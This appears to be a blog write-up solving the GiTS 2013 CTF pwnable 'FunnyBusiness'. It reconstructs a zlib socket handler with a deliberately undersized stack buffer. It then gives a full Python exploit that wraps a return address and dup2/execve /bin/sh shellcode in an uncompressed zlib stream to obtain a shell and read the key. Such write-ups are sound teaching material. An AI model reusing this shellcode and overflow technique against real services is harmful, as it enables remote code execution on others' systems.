code hacking, zen coding

GiTS 2013 CTF – Pwnable 100 Question 5 – FunnyBusiness

funnybusiness-fb84813ddd932f6aceee0ed3a4e9f1e0a7082dc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

After reversing this ELF32 binary, when we reconstruct the following connection handler:

int __cdecl handler(int sock_fd)
{
  int z_code;
  char zlib_input_buffer;

  strm.zalloc = 0;
  strm.zfree = 0;
  strm.opaque = 0;
  strm.avail_in = 0;
  strm.next_in = 0;
  z_code = inflateInit_(&strm, "1.2.7", 56);
  if ( !z_code )
  {
    readAll(sock_fd, &strm.avail_in, 4u);
    if ( strm.avail_in <= 0x4000 )
    {
      readAll(sock_fd, &zlib_input_buffer, strm.avail_in);
      strm.next_in = (Bytef *)&zlib_input_buffer;
      strm.avail_out = 16384;
      strm.next_out = (Bytef *)zlib_output_buffer;
      if ( inflate(&strm, 4) != 1 )
        exit(0);
      inflateEnd(&strm);
    }
  }
  return z_code;
}

Workflow:
– Initialize zlib 1.2.7 library
– Read compressed stream size from socket
– Read compressed stream into buffer
– Try to unpack it, exit if the compressed stream is corrupted
– If uncompress is succesful, return from the function

zlib_input_buffer is too small on purpose:

status= dword ptr -2Ch
flush= dword ptr -28h
stream_size= dword ptr -24h
zlib_input_buffer= byte ptr -0Dh
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4
sock_fd= dword ptr 4

So we can smash the stack and get control of the return address. But only if we can actually return from the function which mean the compressed stream we need to send must be valid and still contains our RETIP and shellcode in uncompressed form to be exploitable.

Hopefully, Zlib has many compression levels including the 0 level which means “no compression” at all.

Our exploit payload layout:
[SIZE][ZLIB HEADER][ZLIB BLOCK Level 0][PADDING][RETIP][SHELLCODE][ZIP END BLOCK]

import socket
import zlib
from struct import pack, unpack

host = 'funnybusiness.2013.ghostintheshellcode.com'
port = 49681

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

plaintext = '000000'
plaintext += pack('<I', 0x0804B0AA)

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

plaintext += shellcode

buffer = zlib.compress(plaintext, 0)

s.send(pack('<I', len(buffer)))

s.send(buffer)
s.send("\ncat key\n")

data = s.recv(16384)
print repr(data)

Result and key:

$ python pwn100.py
'Compressions can be hard at times\n'
Share